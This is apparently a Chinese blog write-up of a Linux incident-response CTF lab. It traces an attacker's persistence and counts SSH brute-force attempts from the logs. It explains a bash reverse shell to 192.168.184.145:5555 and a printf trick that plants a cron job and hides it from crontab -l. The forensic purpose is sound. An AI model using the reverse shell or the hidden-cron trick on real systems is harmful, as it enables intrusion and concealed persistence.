linux应急响应

任务环境说明:
√ 服务器场景:Server2216(开放链接)
√ 用户名:root密码:123456

1. 黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,找出启动异常进程的脚本,并将其绝对路径作为Flag值提交;

首先认真审题,发现是找出启动异常进程的脚本,而不是异常脚本 本体

我们先看看crontab 看看有无东西

没东西

还可以看看 /etc/rc.local文件看看是否有开机自启动

发现也没什么东西

到这里我的思路断了,但是还有一个办法,那就是查看隐藏自启动程序

crontab -e

发现了一个 1.sh文件

我们看一下这个1.sh是什么东西

这就可以确定了是异常程序了

crontab -l 查看的内容其实是查看一个文件的内容

这个文件在 /var/spool/cron/里面

先cd进去看看

这个不是目录也不是cat能看到的

vim试一下

发现跟 crontab -e 的内容是一模一样的

那这个启动恶意程序的脚本路径就是

/var/spool/cron/root

2. 黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,将恶意脚本的源文件所在的绝对路径作为Flag值提交; (多个路径之间以英文逗号分割,如:/etc/proc,/etc/my.cnf)

首先我们在当前登录的用户目录(也就是root)下发现了1.sh和2.sh

这1.sh是一个简单的反向 shell 命令,通常用于在目标机器上建立与攻击者之间的网络连接。

解释如下:

bash:这是运行 Bash Shell 的命令。
-i:表示将 Bash Shell 运行在交互模式下,以便与用户进行交互。

&:这是重定向符号,用于将输出重定向到另一个地方。
/dev/tcp/192.168.184.145/5555:这是一个特殊路径,它代表了一个 TCP 网络连接。其中,192.168.184.145 是攻击者的 IP 地址,5555 是攻击者监听的端口号。
0>&1:这是将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1)。这样,通过网络连接输入到目标机器的数据将被发送到攻击者的主机。

2.sh的内容是:

  • crontab -l:这个部分表示列出当前用户的 crontab 内容。
  • printf "* * * * * /root/1.sh;\rno crontab for whoami%100c\n":这是一个 printf 命令,用于生成要添加到 crontab 的内容。其中,* * * * * 表示每分钟执行一次,/root/1.sh 是要执行的脚本路径。whoami 是一个命令,用于获取当前用户的用户名。%100c 是格式化字符串,表示输出 100 个空格。
  • |:这个符号是管道符,用于将前一个命令的输出作为后一个命令的输入。
  • crontab -:这个部分将管道符前面的命令的输出作为新的 crontab 内容,并将其设置为当前用户的 crontab。

总体来说,这个命令的作用是将一个指定脚本添加到当前用户的 crontab 中,并在 crontab 文件末尾添加一行文本表示未找到当前用户的 crontab。

这也就是为什么我们直接crontab -l 发现没东西了

所以这一题的flag是

/root/2.sh./root/1.sh,/var/spool/cron/root

3. 黑客在服务器某处存放了多个木马程序,请你找到此木马程序并清除木马,将木马建立连接所使用的端口号作为Flag值提交;

在1.sh中,我们发现了

这么一个反弹shell

那就直接交 5555就行了

4. 黑客通过网络攻入本地服务器,将黑客暴力破解服务器的次数作为Flag值提交;

我们先 ss -tnl 查看一下这个服务器对外开放的端口

ss 命令:ss 命令是 netstat 的替代工具,功能更强大且更高效。以下命令将显示所有活动的网络连接和监听的端口:

ss -tnl

就可以看到我们这个靶机开放的端口有80和22

其中80端口是一个web界面,而22端口是ssh服务的端口号

我们再看看ssh的配置文件,sshd下划线config中有一个PermitRootLogin

这个就是是否开启ssh远程连接的配置

cat /ect/ssh/sshd下划线config |grep PermitRootlogin

可以看到,是开启了

那就有可能涉及到ssh爆破登录

ssh的日志文件在/var/log/secure文件里面,在一般情况下,linux日志都是按天来分割的,所以文件名可能是以secure+日期

爆破登录必定会有很多的失败次数

ssh登陆失败会回显 Failed password,成功是返回Accepted,我们只需要筛选失败的就行了

用以下命令:

grep -o "Failed password" secure*|uniq -c

  • grep -o "Failed password" secure*:这个部分使用 grep 命令来在以 "secure" 开头的文件中搜索字符串 "Failed password"。选项 -o 表示只输出匹配的部分,而不是整行内容。
  • |:这个符号是管道符,用于将前一个命令的输出作为后一个命令的输入。
  • uniq -c:这个部分使用 uniq 命令来统计并去重前一个命令的输出,并在每行前面显示重复次数。选项 -c 表示计数。

综合来说,这个命令的目的是在以 "secure" 开头的文件中搜索包含字符串 "Failed password" 的行,并统计每个独特的行出现的次数。输出结果将显示每个独特行的重复次数。这个命令通常用于查找安全日志中的登录失败记录,并统计它们的频率

发现这两个日期的登录次数最多了

grep "Failed password" secure-20200601看看详情

这就是爆破的痕迹

这个也是,把这两个爆破的次数加在一起就是flag

flag{1792}

5. 黑客攻入本地服务器,请你找出黑客成功暴力破解服务器的具体时间,将暴力破解的时间范围作为Flag值(提交的时间格式为:20220112 08:08:18-08:09:24)提交;

这个应该就是2021年那天的日志,我们直接将第一个失败时间到最后一个失败的时间交上去就行

grep "Failed password" secure-20210420 |head -1

这个命令是显示 secure-20210420 这个日志中 含有 Failed password 字符的第一行内容

grep "Failed password" secure-20210420 | tail -1

这个命令是查看日志文件中带有"Failed password"字符的最后一行内容

flag{20210420 03:28:39-03:43:24}

6. 黑客攻入本地服务器,请你找出黑客入侵服务器时所使用的IP地址,将IP地址作为Flag值(若存在多个IP,IP地址之间以英文逗号分割,如:10.1.1.1,20.1.1.2)提交。

入侵服务器时,那就是入侵成功了,那就得在ssh日志里面找Accepted的内容

发现192.168.184.1和192.168.184.146都用root用户登录过

再过滤查看一下这两个ip是否在爆破期间

首先 192.168.184.1在 再看看.146

发现这个也在

那就是多个IP地址

flag{192.168.184.1,192.168.184.146}

  • 21
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值